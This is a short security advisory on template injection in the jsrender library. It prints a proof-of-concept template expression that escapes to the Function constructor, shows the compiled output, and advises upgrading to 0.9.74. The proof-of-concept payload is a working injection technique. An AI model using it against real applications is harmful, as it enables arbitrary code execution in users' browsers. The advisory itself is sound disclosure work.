Advisory Weakness Curation

Template Injection in jsrender Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input. ## Proof of Concept ```js //POC-REQUEST {{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}} {{:#data}} {{/for}} ``` ```js //POC-RESPONSE function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; } ``` ## Recommendation Update to version 0.9.74 or later.

Template Injection If JsRender is used with server-delivered client-side templates that dynamically embed end-user input, then it is possible for a malicious user to execute arbitrary client-side code via use of a very specific expression.